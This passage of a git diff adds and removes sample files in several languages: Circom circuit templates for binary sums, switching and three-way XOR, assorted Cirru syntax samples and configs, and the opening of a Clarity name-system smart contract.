+    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
+    License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with circom. If not, see <https://www.gnu.org/licenses/>.
+*/
+
+/*
+
+Binary Sum
+==========
+
+This component creates a binary sum componet of ops operands and n bits each operand.
+
+e is Number of carries: Depends on the number of operands in the input.
+
+Main Constraint:
+   in[0][0]     * 2^0  +  in[0][1]     * 2^1  + ..... + in[0][n-1]    * 2^(n-1)  +
+ + in[1][0]     * 2^0  +  in[1][1]     * 2^1  + ..... + in[1][n-1]    * 2^(n-1)  +
+ + ..
+ + in[ops-1][0] * 2^0  +  in[ops-1][1] * 2^1  + ..... + in[ops-1][n-1] * 2^(n-1)  +
+ ===
+   out[0] * 2^0  + out[1] * 2^1 +   + out[n+e-1] *2(n+e-1)
+
+To waranty binary outputs:
+
+    out[0]     * (out[0] - 1) === 0
+    out[1]     * (out[0] - 1) === 0
+    .
+    .
+    .
+    out[n+e-1] * (out[n+e-1] - 1) == 0
+
+ */
+
+
+/*
+    This function calculates the number of extra bits in the output to do the full sum.
+ */
+ pragma circom 2.0.0;
+
+function nbits(a) {
+    var n = 1;
+    var r = 0;
+    while (n-1<a) {
+        r++;
+        n *= 2;
+    }
+    return r;
+}
+
+
+template BinSum(n, ops) {
+    var nout = nbits((2**n -1)*ops);
+    signal input in[ops][n];
+    signal output out[nout];
+
+    var lin = 0;
+    var lout = 0;
+
+    var k;
+    var j;
+
+    var e2;
+
+    e2 = 1;
+    for (k=0; k<n; k++) {
+        for (j=0; j<ops; j++) {
+            lin += in[j][k] * e2;
+        }
+        e2 = e2 + e2;
+    }
+
+    e2 = 1;
+    for (k=0; k<nout; k++) {
+        out[k] <-- (lin >> k) & 1;
+
+        // Ensure out is binary
+        out[k] * (out[k] - 1) === 0;
+
+        lout += out[k] * e2;
+
+        e2 = e2+e2;
+    }
+
+    // Ensure the sum;
+
+    lin === lout;
+}
\ No newline at end of file
diff --git a/samples/Circom/switcher.circom b/samples/Circom/switcher.circom
new file mode 100644
index 0000000000..3f4892b654
--- /dev/null
+++ b/samples/Circom/switcher.circom
@@ -0,0 +1,43 @@
+
+/*
+    Copyright 2018 0KIMS association.
+
+    This file is part of circom (Zero Knowledge Circuit Compiler).
+
+    circom is a free software: you can redistribute it and/or modify it
+    under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    circom is distributed in the hope that it will be useful, but WITHOUT
+    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
+    License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with circom. If not, see <https://www.gnu.org/licenses/>.
+*/
+
+/*
+    Assume sel is binary.
+
+    If sel == 0 then outL = L and outR=R
+    If sel == 1 then outL = R and outR=L
+
+ */
+ 
+pragma circom 2.0.0;
+
+template Switcher() {
+    signal input sel;
+    signal input L;
+    signal input R;
+    signal output outL;
+    signal output outR;
+
+    signal aux;
+
+    aux <== (R-L)*sel;    // We create aux in order to have only one multiplication
+    outL <==  aux + L;
+    outR <== -aux + R;
+}
\ No newline at end of file
diff --git a/samples/Circom/xor3.circom b/samples/Circom/xor3.circom
new file mode 100644
index 0000000000..8120cc641b
--- /dev/null
+++ b/samples/Circom/xor3.circom
@@ -0,0 +1,45 @@
+/*
+    Copyright 2018 0KIMS association.
+
+    This file is part of circom (Zero Knowledge Circuit Compiler).
+
+    circom is a free software: you can redistribute it and/or modify it
+    under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    circom is distributed in the hope that it will be useful, but WITHOUT
+    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
+    License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with circom. If not, see <https://www.gnu.org/licenses/>.
+*/
+
+/* Xor3 function for sha256
+
+out = a ^ b ^ c  =>
+
+out = a+b+c - 2*a*b - 2*a*c - 2*b*c + 4*a*b*c   =>
+
+out = a*( 1 - 2*b - 2*c + 4*b*c ) + b + c - 2*b*c =>
+
+mid = b*c
+out = a*( 1 - 2*b -2*c + 4*mid ) + b + c - 2 * mid
+
+*/
+pragma circom 2.0.0;
+
+template Xor3(n) {
+    signal input a[n];
+    signal input b[n];
+    signal input c[n];
+    signal output out[n];
+    signal mid[n];
+
+    for (var k=0; k<n; k++) {
+        mid[k] <== b[k]*c[k];
+        out[k] <== a[k] * (1 -2*b[k]  -2*c[k] +4*mid[k]) + b[k] + c[k] -2*mid[k];
+    }
+}
\ No newline at end of file
diff --git a/samples/Cirru/array.cirru b/samples/Cirru/array.cirru
deleted file mode 100644
index 9375c6506d..0000000000
--- a/samples/Cirru/array.cirru
+++ /dev/null
@@ -1,12 +0,0 @@
-
-print $ array
-  int 1
-  string 2
-
-print $ array
-  int 1
-  array
-    int 2
-    string 3
-    array
-      string 4
\ No newline at end of file
diff --git a/samples/Cirru/block.cirru b/samples/Cirru/block.cirru
deleted file mode 100644
index a9bf0c834e..0000000000
--- a/samples/Cirru/block.cirru
+++ /dev/null
@@ -1,7 +0,0 @@
-
-set f $ block (a b c)
-  print a b c
-
-call f (int 1) (int 2) (int 3)
-
-f (int 1) (int 2) (int 3)
\ No newline at end of file
diff --git a/samples/Cirru/bool.cirru b/samples/Cirru/bool.cirru
deleted file mode 100644
index 686d132ede..0000000000
--- a/samples/Cirru/bool.cirru
+++ /dev/null
@@ -1,7 +0,0 @@
-
-print $ bool true
-print $ bool false
-print $ bool yes
-print $ bool no
-print $ bool 1
-print $ bool 0
\ No newline at end of file
diff --git a/samples/Cirru/calcit.cirru b/samples/Cirru/calcit.cirru
new file mode 100644
index 0000000000..ea9e5bf2e9
--- /dev/null
+++ b/samples/Cirru/calcit.cirru
@@ -0,0 +1,120 @@
+
+{}
+  :users $ {}
+    |root $ {} (:id |root) (:name |root) (:nickname |root) (:avatar nil) (:theme :star-trail)
+  :ir $ {} (:package |app)
+    :root $ {} (:ns |main) (:def |main!)
+    :files $ {}
+      |app.comp.page-members $ {}
+        :ns $ {} (:type :expr) (:by |S1lNv50FW) (:at 1550076412760) (:id |ytgdqU0an)
+          :data $ {}
+            |T $ {} (:type :leaf) (:text |ns) (:id |HyWduBt42qW) (:by |root) (:at 1504777353661)
+            |j $ {} (:type :leaf) (:text |app.comp.page-members) (:id |B1zOOSKN39W) (:by |root) (:at 1504777353661)
+            |r $ {} (:type :expr) (:id |SJgtdStV39Z) (:by nil) (:at 1504777353661)
+              :data $ {}
+                |T $ {} (:type :leaf) (:text |:require) (:id |SJ-F_rYVn5W) (:by |root) (:at 1504777353661)
+                |j $ {} (:type :expr) (:id |HJMKOSt43q-) (:by nil) (:at 1504777353661)
+                  :data $ {}
+                    |T $ {} (:type :leaf) (:text |[]) (:id |HJQKdrYNh9-) (:by |root) (:at 1504777353661)
+                    |j $ {} (:type :leaf) (:text |clojure.string) (:id |S1VF_rFVh5Z) (:by |root) (:at 1504777353661)
+                    |r $ {} (:type :leaf) (:text |:as) (:id |r1HF_SK43c-) (:by |root) (:at 1504777353661)
+                    |v $ {} (:type :leaf) (:text |string) (:id |SkLKurKE25Z) (:by |root) (:at 1504777353661)
+                |r $ {} (:type :expr) (:id |S1vY_HYE2cZ) (:by nil) (:at 1504777353661)
+                  :data $ {}
+                    |T $ {} (:type :leaf) (:text |[]) (:id |SkOFdrYN25W) (:by |root) (:at 1504777353661)
+                    |j $ {} (:type :leaf) (:text |hsl.core) (:id |SktFdHtV29b) (:by |root) (:at 1504777353661)
+                    |r $ {} (:type :leaf) (:text |:refer) (:id |BycYOSFVnqW) (:by |root) (:at 1504777353661)
+                    |v $ {} (:type :expr) (:id |S1oYOHYNh5Z) (:by nil) (:at 1504777353661)
+                      :data $ {}
+                        |T $ {} (:type :leaf) (:text |[]) (:id |H13YOSKE3qZ) (:by |root) (:at 1504777353661)
+                        |j $ {} (:type :leaf) (:text |hsl) (:id |HJTK_rYN29Z) (:by |root) (:at 1504777353661)
+                |v $ {} (:type :expr) (:id |BkAKuHFVh9-) (:by nil) (:at 1504777353661)
+                  :data $ {}
+                    |T $ {} (:type :leaf) (:text |[]) (:id |rkkqOSKVnqZ) (:by |root) (:at 1504777353661)
+                    |j $ {} (:type :leaf) (:text |respo-ui.core) (:id |S1gcdBKEhq-) (:by |root) (:at 1504777353661)
+                    |r $ {} (:type :leaf) (:text |:as) (:id |S1WqdHY42qW) (:by |root) (:at 1504777353661)
+                    |v $ {} (:type :leaf) (:text |ui) (:id |HkGcOBtN3cZ) (:by |root) (:at 1504777353661)
+                |y $ {} (:type :expr) (:id |HkRCrER6-) (:by nil) (:at 1504777353661)
+                  :data $ {}
+                    |T $ {} (:type :leaf) (:text |[]) (:id |r1IOdSKV29W) (:by |root) (:at 1504777353661)
+                    |j $ {} (:type :leaf) (:text |respo.core) (:id |SywOOSYE2cb) (:by |root) (:at 1504777353661)
+                    |r $ {} (:type :leaf) (:text |:refer) (:id |Hk__uBtEhcW) (:by |root) (:at 1504777353661)
+                    |v $ {} (:type :expr) (:id |SyFddHYE39W) (:by nil) (:at 1504777353661)
+                      :data $ {}
+                        |T $ {} (:type :leaf) (:text |[]) (:id |rJqOOSK4hcW) (:by |root) (:at 1504777353661)
+                        |j $ {} (:type :leaf) (:text |defcomp) (:id |SJs_OSY435b) (:by |root) (:at 1504777353661)
+                        |r $ {} (:type :leaf) (:text |<>) (:id |r1h_OBKNncW) (:by |root) (:at 1504777353661)
+                        |t $ {} (:type :leaf) (:text |list->) (:id |SkeLXDDlbf) (:by |root) (:at 1512236830915)
+                        |v $ {} (:type :leaf) (:text |span) (:id |ry6uuBY4h9Z) (:by |root) (:at 1504777353661)
+                        |x $ {} (:type :leaf) (:text |div) (:id |S1AuOrYEncZ) (:by |root) (:at 1504777353661)
+                        |y $ {} (:type :leaf) (:text |a) (:id |r11t_HK435Z) (:by |root) (:at 1504777353661)
+                |yT $ {} (:type :expr) (:id |S1ksOSKEn9-) (:by nil) (:at 1504777353661)
+                  :data $ {}
+                    |T $ {} (:type :leaf) (:text |[]) (:id |rkei_SFV39W) (:by |root) (:at 1504777353661)
+                    |j $ {} (:type :leaf) (:text |respo.comp.space) (:id |rJbsdBFEncZ) (:by |root) (:at 1504777353661)
+                    |r $ {} (:type :leaf) (:text |:refer) (:id |BJzjOBYNh9W) (:by |root) (:at 1504777353661)
+                    |v $ {} (:type :expr) (:id |HJ7iuHtN3qb) (:by nil) (:at 1504777353661)
+                      :data $ {}
+                        |T $ {} (:type :leaf) (:text |[]) (:id |HkEsOrFV39b) (:by |root) (:at 1504777353661)
+                        |j $ {} (:type :leaf) (:text |=<) (:id |r1BouSYV39Z) (:by |root) (:at 1504777353661)
+                |yj $ {} (:type :expr) (:by |S1lNv50FW) (:at 1550076422286) (:id |RWcAq7jGbe)
+                  :data $ {}
+                    |T $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076422664) (:text |[]) (:id |aauVImKdc)
+                    |j $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076423285) (:text "|\"url-parse") (:id |oSXAyVtQXl)
+                    |r $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076423983) (:text |:as) (:id |Ph_pMR_iX)
+                    |v $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076428729) (:text |url-parse) (:id |FPv0anxaXD)
+        :defs $ {}
+          |comp-page-members $ {} (:type :expr) (:id |SkPj_HY43cZ) (:by nil) (:at 1504777353661)
+            :data $ {}
+              |T $ {} (:type :leaf) (:text |defcomp) (:id |r1_oOSY43c-) (:by |root) (:at 1504777353661)
+              |j $ {} (:type :leaf) (:text |comp-page-members) (:id |SktiOrtN2q-) (:by |root) (:at 1504777353661)
+              |r $ {} (:type :expr) (:id |S19idBYN29Z) (:by nil) (:at 1504777353661)
+                :data $ {}
+                  |T $ {} (:type :leaf) (:text |router-data) (:id |rJosuHFN25b) (:by |root) (:at 1504777353661)
+                  |j $ {} (:type :leaf) (:text |session-id) (:id |BJnjOHKV39Z) (:by |root) (:at 1504777353661)
+              |v $ {} (:type :expr) (:id |S1aoOBFN25W) (:by nil) (:at 1504777353661)
+                :data $ {}
+                  |T $ {} (:type :leaf) (:text |div) (:id |ByAjdrYV2qW) (:by |root) (:at 1504777353661)
+                  |j $ {} (:type :expr) (:id |SyJnOSFEn5W) (:by nil) (:at 1504777353661)
+                    :data $ {}
+                      |T $ {} (:type :leaf) (:text |{}) (:id |ByenOHFNh9Z) (:by |root) (:at 1504777353661)
+                      |j $ {} (:type :expr) (:id |r1-3_BFN25Z) (:by nil) (:at 1504777353661)
+                        :data $ {}
+                          |T $ {} (:type :leaf) (:text |:style) (:id |rJznuSKEhcZ) (:by |root) (:at 1504777353661)
+                          |j $ {} (:type :expr) (:id |SyQn_StEn5W) (:by nil) (:at 1504777353661)
+                            :data $ {}
+                              |T $ {} (:type :leaf) (:text |merge) (:id |Sy42OBtEnqW) (:by |root) (:at 1504777353661)
+                              |j $ {} (:type :leaf) (:text |ui/flex) (:id |HJSnOSKN2qZ) (:by |root) (:at 1504777353661)
+                              |r $ {} (:type :leaf) (:text |style-members) (:id |BkL3_HFN3qZ) (:by |root) (:at 1504777353661)
+          |style-bookmark $ {} (:type :expr) (:id |SketBt429Z) (:by nil) (:at 1504777353661)
+            :data $ {}
+              |T $ {} (:type :leaf) (:text |def) (:id |rkZYBKV39-) (:by |root) (:at 1504777353661)
+              |j $ {} (:type :leaf) (:text |style-bookmark) (:id |ByGYBK4h5Z) (:by |root) (:at 1504777353661)
+              |r $ {} (:type :expr) (:id |BJmtrFN35W) (:by nil) (:at 1504777353661)
+                :data $ {}
+                  |T $ {} (:type :leaf) (:text |{}) (:id |HyVYHKNhc-) (:by |root) (:at 1504777353661)
+                  |j $ {} (:type :expr) (:id |rkHtHKNn5W) (:by nil) (:at 1504777353661)
+                    :data $ {}
+                      |T $ {} (:type :leaf) (:text |:font-family) (:id |BJItBtVnq-) (:by |root) (:at 1504777353661)
+                      |j $ {} (:type :leaf) (:text ||Menlo,monospace) (:id |SJwtBFN35-) (:by |root) (:at 1504777353661)
+                  |r $ {} (:type :expr) (:id |H1dFrF439W) (:by nil) (:at 1504777353661)
+                    :data $ {}
+                      |T $ {} (:type :leaf) (:text |:min-width) (:id |rJFFStE2qZ) (:by |root) (:at 1504777353661)
+                      |j $ {} (:type :leaf) (:text |200) (:id |S1cFBY42cW) (:by |root) (:at 1504777353661)
+                  |v $ {} (:type :expr) (:id |HysKrF43qZ) (:by nil) (:at 1504777353661)
+                    :data $ {}
+                      |T $ {} (:type :leaf) (:text |:display) (:id |Sk3tBtEh9W) (:by |root) (:at 1504777353661)
+                      |j $ {} (:type :leaf) (:text |:inline-block) (:id |H1TFBFN29-) (:by |root) (:at 1504777353661)
+
+          |style-row $ {} (:type :expr) (:id |H1hWFSYN3cb) (:by nil) (:at 1504777353661)
+            :data $ {}
+              |T $ {} (:type :leaf) (:text |def) (:id |SJpWKrKEn9W) (:by |root) (:at 1504777353661)
+              |j $ {} (:type :leaf) (:text |style-row) (:id |BkAWFHFV25-) (:by |root) (:at 1504777353661)
+              |r $ {} (:type :expr) (:id |BJJzKSFVh9-) (:by nil) (:at 1504777353661)
+                :data $ {}
+                  |T $ {} (:type :leaf) (:text |{}) (:id |ByeztHYEncZ) (:by |root) (:at 1504777353661)
+                  |j $ {} (:type :expr) (:id |B1-GYBtEhqb) (:by nil) (:at 1504777353661)
+                    :data $ {}
+                      |T $ {} (:type :leaf) (:text |:cursor) (:id |SkzMtSKN39Z) (:by |root) (:at 1504777353661)
+                      |j $ {} (:type :leaf) (:text |:pointer) (:id |HJmGtHtVn9-) (:by |root) (:at 1504777353661)
+        :proc $ {} (:type :expr) (:id |S1Li_rF4n9Z) (:by nil) (:at 1504777353661) (:data $ {})
diff --git a/samples/Cirru/comma.cirru b/samples/Cirru/comma.cirru
new file mode 100644
index 0000000000..0178725572
--- /dev/null
+++ b/samples/Cirru/comma.cirru
@@ -0,0 +1,5 @@
+
+print (, a)
+  a
+    , b
+      , c (, d)
\ No newline at end of file
diff --git a/samples/Cirru/demo.cirru b/samples/Cirru/demo.cirru
new file mode 100644
index 0000000000..e711dfe787
--- /dev/null
+++ b/samples/Cirru/demo.cirru
@@ -0,0 +1,8 @@
+
+define a (read cd) $ if (> a cd)
+  print demo
+  print "not demo"
+
+say $ print a $ save $ b $ x $ c 8
+
+print fun
\ No newline at end of file
diff --git a/samples/Cirru/folded-beginning.cirru b/samples/Cirru/folded-beginning.cirru
new file mode 100644
index 0000000000..5a24b9f96a
--- /dev/null
+++ b/samples/Cirru/folded-beginning.cirru
@@ -0,0 +1,3 @@
+
+  a
+b
diff --git a/samples/Cirru/folding.cirru b/samples/Cirru/folding.cirru
new file mode 100644
index 0000000000..c1b28f58ba
--- /dev/null
+++ b/samples/Cirru/folding.cirru
@@ -0,0 +1,8 @@
+
+a $
+
+b $ c
+
+d $ e $ f
+
+g $ h $ i j $ k $
diff --git a/samples/Cirru/html.cirru b/samples/Cirru/html.cirru
new file mode 100644
index 0000000000..2db2638992
--- /dev/null
+++ b/samples/Cirru/html.cirru
@@ -0,0 +1,22 @@
+
+doctype
+
+html
+  head
+    title $ = a
+    link (:rel a) $ :href b
+    link (:rel icon) $ :href a
+    meta $ :charset utf-8
+  body
+    #about
+      .line
+        a (:href a) $ = b
+        span $ = " "
+        a (:href a) $ = b
+      .line $ span $ = a
+    #list
+      .year $ = 2014
+      .month $ = May
+      .post $ a.link (:href) $ =
+      .month $ = Apr
+      .post $ a.link (:href a) $ = b
\ No newline at end of file
diff --git a/samples/Cirru/indent.cirru b/samples/Cirru/indent.cirru
new file mode 100644
index 0000000000..90baebb9ea
--- /dev/null
+++ b/samples/Cirru/indent.cirru
@@ -0,0 +1,6 @@
+
+a $ b $ c
+
+e f
+  (g)
+  h
\ No newline at end of file
diff --git a/samples/Cirru/line.cirru b/samples/Cirru/line.cirru
new file mode 100644
index 0000000000..1f830bfb68
--- /dev/null
+++ b/samples/Cirru/line.cirru
@@ -0,0 +1,8 @@
+
+line 1
+
+line 2
+
+line-3
+
+line 4
\ No newline at end of file
diff --git a/samples/Cirru/map.cirru b/samples/Cirru/map.cirru
deleted file mode 100644
index 5f445668b7..0000000000
--- a/samples/Cirru/map.cirru
+++ /dev/null
@@ -1,14 +0,0 @@
-
-print $ map
-  a $ int 5
-  b $ array (int 1) (int 2)
-  c $ map
-    int 1
-    array (int 4)
-
-set m $ map
-  a $ int 1
-
-set m b $ int 2
-
-print m
\ No newline at end of file
diff --git a/samples/Cirru/number.cirru b/samples/Cirru/number.cirru
deleted file mode 100644
index 56e0ac7ddd..0000000000
--- a/samples/Cirru/number.cirru
+++ /dev/null
@@ -1,3 +0,0 @@
-
-print $ int 1
-print $ float 1.2
\ No newline at end of file
diff --git a/samples/Cirru/parentheses.cirru b/samples/Cirru/parentheses.cirru
new file mode 100644
index 0000000000..27fc1dc0b8
--- /dev/null
+++ b/samples/Cirru/parentheses.cirru
@@ -0,0 +1,6 @@
+
+3 4 (1) 4
+
+((((1))))
+
+x
\ No newline at end of file
diff --git a/samples/Cirru/quote.cirru b/samples/Cirru/quote.cirru
new file mode 100644
index 0000000000..1ae3ccaeac
--- /dev/null
+++ b/samples/Cirru/quote.cirru
@@ -0,0 +1,6 @@
+
+a b c d
+
+"a b c d"
+
+"a b \" c d"
\ No newline at end of file
diff --git a/samples/Cirru/require.cirru b/samples/Cirru/require.cirru
deleted file mode 100644
index 53283468e1..0000000000
--- a/samples/Cirru/require.cirru
+++ /dev/null
@@ -1,2 +0,0 @@
-
-require ./stdio.cr
diff --git a/samples/Cirru/scope.cirru b/samples/Cirru/scope.cirru
deleted file mode 100644
index 9a6512c965..0000000000
--- a/samples/Cirru/scope.cirru
+++ /dev/null
@@ -1,23 +0,0 @@
-
-set a (int 2)
-
-print (self)
-
-set c (child)
-
-under c
-  under parent
-    print a
-
-print $ get c a
-
-set c x (int 3)
-print $ get c x
-
-set just-print $ code
-  print a
-
-print just-print
-
-eval (self) just-print
-eval just-print
\ No newline at end of file
diff --git a/samples/Cirru/spaces.cirru b/samples/Cirru/spaces.cirru
new file mode 100644
index 0000000000..5cc0d467dc
--- /dev/null
+++ b/samples/Cirru/spaces.cirru
@@ -0,0 +1,2 @@
+
+"a b" "c d"
\ No newline at end of file
diff --git a/samples/Cirru/stdio.cirru b/samples/Cirru/stdio.cirru
deleted file mode 100644
index ef5400e6ce..0000000000
--- a/samples/Cirru/stdio.cirru
+++ /dev/null
@@ -1,55 +0,0 @@
-
-set a $ string 1
-print a
-
-print (string 1)
-
-print nothing
-
-print
-  map
-    a (int 4)
-    b $ map
-      a $ int 5
-      b $ int 6
-      c $ map
-        int 7
-
-print
-  array
-    int 1
-    int 2
-    array
-      int 3
-      int 4
-
-print
-  array
-    int 1
-    map
-      a $ int 2
-      b $ array
-        int 3
-
-print
-  int 1
-  int 2
-
-print $ code
-  set a 1
-  print (get a)
-  print $ array
-    int a
-    array
-      int a
-
-set container (map)
-set container code $ code
-  set a 1
-  print (get a)
-  print $ array
-    int a
-    array
-      int a
-
-print container
\ No newline at end of file
diff --git a/samples/Cirru/string.cirru b/samples/Cirru/string.cirru
deleted file mode 100644
index d4c4331bb5..0000000000
--- a/samples/Cirru/string.cirru
+++ /dev/null
@@ -1,3 +0,0 @@
-
-print $ string a
-print $ string "a b"
\ No newline at end of file
diff --git a/samples/Cirru/template.cirru b/samples/Cirru/template.cirru
new file mode 100644
index 0000000000..d7bd809b40
--- /dev/null
+++ b/samples/Cirru/template.cirru
@@ -0,0 +1,75 @@
+doctype
+
+html
+  head
+    title "From Java to Kotlin"
+    meta (:charset utf-8)
+    link (:rel stylesheet) (:href css/style.css)
+    link (:rel stylesheet) (:href css/highlightjs-github.css)
+    script (:src js/highlight.9.4.0.js)
+    script "hljs.initHighlightingOnLoad();"
+
+  body
+    a
+      :href
+        = https://github.com/fabiomsr/from-java-to-kotlin
+      :class
+        = github-corner
+      :aria-label
+        = View source on Github
+
+    style
+      = ".github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}"
+
+    #note
+      = "From Java to Kotlin"
+
+    ul
+      li
+        a
+          :class
+            = selected
+          :href
+            = index.html
+          = Basic
+      li
+        a
+          :href
+            = functions.html
+          = Functions
+      li
+        a
+          :href
+            = classes.html
+          = Classes
+
+
+    .section
+      .title BASICS
+      .case (.name "Print") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/print.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/print.kt)
+      .case (.name "Variables I") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/variables-i.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/variables-i.kt)
+      .case (.name "Variables II") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/variables-ii.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/variables-ii.kt)
+      .case (.name "Null I") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/null-i.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/null-i.kt)
+
+    .section
+      .title BASICS
+      .case (.name "Bits Operations") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/bits-operations.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/bits-operations.kt)
+      .case (.name "Is As In") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/operations.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/operations.kt)
+      .case (.name "Smart Cast") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/cast.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/cast.kt)
+      .case (.name "Switch / When") $ .pair
+        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/switch.java)
+        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/when.kt)
diff --git a/samples/Cirru/unfolding.cirru b/samples/Cirru/unfolding.cirru
new file mode 100644
index 0000000000..457113db61
--- /dev/null
+++ b/samples/Cirru/unfolding.cirru
@@ -0,0 +1,6 @@
+
+set
+  add 1 $
+  , x y
+  add 5 $
+  add 2
\ No newline at end of file
diff --git a/samples/Cirru/webpack.config.cirru b/samples/Cirru/webpack.config.cirru
new file mode 100644
index 0000000000..c733d7eece
--- /dev/null
+++ b/samples/Cirru/webpack.config.cirru
@@ -0,0 +1,52 @@
+
+var
+  fs $ require :fs
+  path $ require :path
+  webpack $ require :webpack
+
+= module.exports
+  {}
+    :mode :development
+    :entry $ {}
+      :main $ [] :webpack-hud :./src/main
+
+    :output $ {}
+      :path $ path.join __dirname :dist/
+      :filename :[name].js
+
+    :devtool :cheap-source-map
+
+    :resolve $ {}
+      :extensions $ [] :.js :.cirru :.json
+
+    :module $ {}
+      :rules $ []
+        {} (:test /\.cirru$) (:exclude /node_modules)
+          :use :cirru-script-loader
+        {} (:test "/\\.(png|jpg|gif)$")
+          :loader :url-loader
+          :query $ {} (:limit 100)
+        {} (:test /\.css$) $ :use
+          []
+            {} (:loader :style-loader)
+            {} (:loader :css-loader)
+
+    :devServer $ {}
+      :publicPath :/
+      :hot true
+      :compress true
+      :clientLogLevel :info
+      :disableHostCheck true
+      :host :0.0.0.0
+      :stats $ {}
+        :all false
+        :colors true
+        :errors true
+        :errorDetails true
+        :performance true
+        :reasons true
+        :timings true
+        :warnings true
+
+    :plugins $ []
+      new webpack.NamedModulesPlugin
diff --git a/samples/Clarity/bns.clar b/samples/Clarity/bns.clar
new file mode 100644
index 0000000000..e16544353c
--- /dev/null
+++ b/samples/Clarity/bns.clar
@@ -0,0 +1,966 @@
+;;;; Errors
+(define-constant ERR_PANIC 0)
+(define-constant ERR_NAMESPACE_PREORDER_NOT_FOUND 1001)
+(define-constant ERR_NAMESPACE_PREORDER_EXPIRED 1002)
+(define-constant ERR_NAMESPACE_PREORDER_ALREADY_EXISTS 1003)
+(define-constant ERR_NAMESPACE_UNAVAILABLE 1004)
+(define-constant ERR_NAMESPACE_NOT_FOUND 1005)
+(define-constant ERR_NAMESPACE_ALREADY_EXISTS 1006)
+(define-constant ERR_NAMESPACE_NOT_LAUNCHED 1007)
+(define-constant ERR_NAMESPACE_PRICE_FUNCTION_INVALID 1008)
+(define-constant ERR_NAMESPACE_PREORDER_CLAIMABILITY_EXPIRED 1009)
+(define-constant ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED 1010)
+(define-constant ERR_NAMESPACE_OPERATION_UNAUTHORIZED 1011)
+(define-constant ERR_NAMESPACE_STX_BURNT_INSUFFICIENT 1012)
+(define-constant ERR_NAMESPACE_BLANK 1013)
+(define-constant ERR_NAMESPACE_ALREADY_LAUNCHED 1014)
+(define-constant ERR_NAMESPACE_HASH_MALFORMED 1015)
+(define-constant ERR_NAMESPACE_CHARSET_INVALID 1016)
+
+(define-constant ERR_NAME_PREORDER_NOT_FOUND 2001)
+(define-constant ERR_NAME_PREORDER_EXPIRED 2002)
+(define-constant ERR_NAME_PREORDER_FUNDS_INSUFFICIENT 2003)
+(define-constant ERR_NAME_UNAVAILABLE 2004)
+(define-constant ERR_NAME_OPERATION_UNAUTHORIZED 2006)
+(define-constant ERR_NAME_STX_BURNT_INSUFFICIENT 2007)
+(define-constant ERR_NAME_EXPIRED 2008)
+(define-constant ERR_NAME_GRACE_PERIOD 2009)
+(define-constant ERR_NAME_BLANK 2010)
+(define-constant ERR_NAME_ALREADY_CLAIMED 2011)
+(define-constant ERR_NAME_CLAIMABILITY_EXPIRED 2012)
+(define-constant ERR_NAME_NOT_FOUND 2013)
+(define-constant ERR_NAME_REVOKED 2014)
+(define-constant ERR_NAME_TRANSFER_FAILED 2015)
+(define-constant ERR_NAME_PREORDER_ALREADY_EXISTS 2016)
+(define-constant ERR_NAME_HASH_MALFORMED 2017)
+(define-constant ERR_NAME_PREORDERED_BEFORE_NAMESPACE_LAUNCH 2018)
+(define-constant ERR_NAME_NOT_RESOLVABLE 2019)
+(define-constant ERR_NAME_COULD_NOT_BE_MINTED 2020)
+(define-constant ERR_NAME_COULD_NOT_BE_TRANSFERED 2021)
+(define-constant ERR_NAME_CHARSET_INVALID 2022)
+
+(define-constant ERR_PRINCIPAL_ALREADY_ASSOCIATED 3001)
+(define-constant ERR_INSUFFICIENT_FUNDS 4001)
+
+(define-constant NAMESPACE_PREORDER_CLAIMABILITY_TTL u144)
+(define-constant NAMESPACE_LAUNCHABILITY_TTL u52595)
+(define-constant NAME_PREORDER_CLAIMABILITY_TTL u144)
+(define-constant NAME_GRACE_PERIOD_DURATION u5000)
+
+(define-data-var attachment-index uint u0)
+
+;; Price tables
+(define-constant NAMESPACE_PRICE_TIERS (list
+  u640000000000
+  u64000000000 u64000000000
+  u6400000000 u6400000000 u6400000000 u6400000000
+  u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000))
+
+;;;; Data
+(define-map namespaces
+  (buff 20)
+  { namespace-import: principal,
+    revealed-at: uint,
+    launched-at: (optional uint),
